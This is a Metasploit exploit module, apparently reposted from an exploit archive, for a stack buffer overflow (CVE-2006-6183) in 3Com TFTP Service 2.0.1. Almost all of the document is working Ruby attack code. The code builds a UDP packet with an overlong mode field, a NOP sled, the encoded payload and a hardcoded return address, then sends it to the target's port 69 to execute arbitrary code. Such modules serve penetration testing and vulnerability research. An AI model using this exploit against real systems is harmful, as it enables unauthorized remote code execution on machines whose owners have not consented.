3Com TFTP Service (3CTftpSvc) – ‘Mode’ Remote Buffer Overflow (Metasploit)
## # $Id: threectftpsvc_long_mode.rb 9262 2010-05-09 17:45:00Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Udp def initialize(info = {}) super(update_info(info, 'Name' => '3CTftpSvc TFTP Long Mode Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in 3CTftpSvc 2.0.1. By sending a specially crafted packet with an overly long mode field, a remote attacker could overflow a buffer and execute arbitrary code on the system. }, 'Author' => 'MC', 'Version' => '$Revision: 9262 $', 'References' => [ ['CVE', '2006-6183'], ['OSVDB', '30758'], ['BID', '21301'], ['URL', 'http://secunia.com/advisories/23113/'], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 400, 'BadChars' => "\x00", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ '3CTftpSvc 2.0.1', { 'Ret' => 0x00402b02 } ], ], 'Privileged' => true, 'DefaultTarget' => 0, 'DisclosureDate' => 'Nov 27 2006')) register_options([Opt::RPORT(69)], self.class) end def exploit connect_udp sploit = "\x00\x02" + rand_text_alpha_upper(1) + "\x00" + make_nops(73) sploit << payload.encoded + [target.ret].pack('V') + make_nops(25) + "\x00" print_status("Trying target #{target.name}...") udp_sock.put(sploit) disconnect_udp end end |